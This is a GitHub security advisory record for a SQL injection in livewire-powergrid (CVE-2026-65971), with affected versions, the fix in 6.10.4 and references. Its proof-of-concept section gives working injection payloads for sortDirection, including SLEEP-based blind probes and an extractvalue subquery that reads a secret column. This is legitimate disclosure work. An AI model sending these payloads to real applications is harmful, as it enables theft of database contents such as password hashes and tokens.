{"id":"GHSA-7fgc-3h6c-698r","summary":"livewire-powergrid: SQL injection via sortDirection in naturalSort queries","details":"## [Description]\n\nThe public Livewire property `sortDirection` is interpolated **verbatim** into a\nraw SQL `ORDER BY` clause and is not restricted to `asc`/`desc`, allowing arbitrary\nSQL injection through `POST /livewire/update`.\n\n**Data flow**\n\n- **Source** — `src/Concerns/Sorting.php`: `public string $sortDirection;` is a\n  Livewire-bound property with no whitelist/validation (it is only assigned and\n  flipped by `reverseSort()`), so it is fully attacker-controlled via the standard\n  Livewire update endpoint.\n- **Taint** — `src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php`,\n  `resolvePlaceholders()`:\n  ```php\n  preg_replace_callback('/\\{(\\w+)\\}/', fn ($m) =\u003e data_get($this-\u003ecomponent, $m[1], ''), $sql);\n  ```\n  substitutes `{sortDirection}` with the raw property value.\n- **Sink** — `src/DataSource/Support/Sql.php::getSortSqlByDriver()` builds the\n  `naturalSort` expression, e.g. `\"... {sortDirection}\"` / `\"CAST(...) {sortDirection}\"`,\n  which is passed to `orderByRaw()`. The tainted direction lands directly in the SQL\n  string.\n\n**Why the framework mitigation does not apply (the bypass)**\n\nNormally the `Sorting` pipeline calls `orderBy(resolveSortField($sortField), $sortDirection)`,\nand Laravel validates the direction (`Order direction must be \"asc\" or \"desc\".`).\nSetting **`sortField=\"\"`** makes the `Sorting` pipeline skip (`filled('')` is false),\nso the validating `orderBy` never runs — but the `ColumnRawQueries` pipeline still\napplies the `naturalSort` `orderByRaw` unconditionally with the attacker-controlled\n`{sortDirection}`. The result is arbitrary SQL in the `ORDER BY`, bypassing Laravel's\ndirection validation entirely.\n\n## [Proof of Concept]\n\nLab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10 + MariaDB, with a\nPowerGrid table whose `name` column uses `-\u003enaturalSort(true)`.\n\nRequest (standard Livewire update; CSRF token taken from the page as any Livewire call):\n```\nPOST /livewire/update\ncomponents[0].snapshot = \u003cthe PowerGrid component snapshot from the page\u003e\ncomponents[0].updates  = {\"sortField\": \"\", \"sortDirection\": \"asc, (SELECT SLEEP(3))\"}\n```\n\nObserved results:\n\n- **Error-based** (HTTP 500, `SQLSTATE[HY000] 1105`) — the injected subquery reaches\n  the database verbatim:\n  ```\n  select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, ...) ...) asc,\n    (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1)))) limit 3 offset 0\n  ```\n- **Blind time-based** (arbitrary data extraction):\n  ```\n  asc                                 -\u003e 0.02s   (baseline)\n  asc, (SELECT SLEEP(3))              -\u003e 9.04s   (injection executes)\n  asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')  -\u003e 9.03s  (TRUE — value leaks)\n  ... LIKE 'ZZZ%'                     -\u003e 0.02s   (FALSE — boolean oracle)\n  ```\n\nA parameterised PoC script is available and can be attached privately on request.\n\n## [Impact]\n\nAny actor who can reach a PowerGrid table using `naturalSort` and control the\n`sortDirection` property can read arbitrary data from the database (other tables,\npassword hashes, tokens) via a blind boolean/time-based oracle. Stacked queries are\nblocked by the default PDO MySQL driver, so impact is read-oriented (confidentiality),\nbut complete for readable data. In multi-tenant/admin apps this enables full\ncross-tenant data exfiltration.","aliases":["CVE-2026-65971"],"modified":"2026-11-25T20:00:04.111114853Z","published":"2026-11-25T19:44:57Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-11-25T19:44:57Z","nvd_published_at":"2026-11-11T22:17:28Z","cwe_ids":["CWE-89"]},"references":[{"type":"WEB","url":"https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65971"},{"type":"WEB","url":"https://github.com/Power-Components/livewire-powergrid/commit/13d047bf1637e82926e6914aa3ca0f29a4c9704a"},{"type":"PACKAGE","url":"https://github.com/Power-Components/livewire-powergrid"},{"type":"WEB","url":"https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4"}],"affected":[{"package":{"name":"power-components/livewire-powergrid","ecosystem":"Packagist","purl":"pkg:composer/power-components/livewire-powergrid"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.0.0"},{"fixed":"6.10.4"}]}],"versions":["v6.0.0","v6.0.1","v6.0.2","v6.0.3","v6.0.4","v6.0.5","v6.0.6","v6.1.0","v6.1.1","v6.1.10","v6.1.11","v6.1.12","v6.1.13","v6.1.14","v6.1.15","v6.1.16","v6.1.2","v6.1.3","v6.1.4","v6.1.5","v6.1.6","v6.1.7","v6.1.8","v6.1.9","v6.10.0","v6.10.1","v6.10.2","v6.10.3","v6.2.0","v6.2.1","v6.2.2","v6.3.0","v6.3.1","v6.3.2","v6.4.0","v6.4.1","v6.4.2","v6.5.0","v6.5.1","v6.5.2","v6.5.3","v6.5.4","v6.5.5","v6.6.0","v6.6.1","v6.6.2","v6.6.3","v6.6.4","v6.6.5","v6.6.6","v6.6.7","v6.7.0","v6.7.1","v6.7.2","v6.7.3","v6.7.4","v6.7.5","v6.7.6","v6.7.7","v6.8.0","v6.8.1","v6.8.2","v6.9.0","v6.9.1","v6.9.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7fgc-3h6c-698r/GHSA-7fgc-3h6c-698r.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"}]}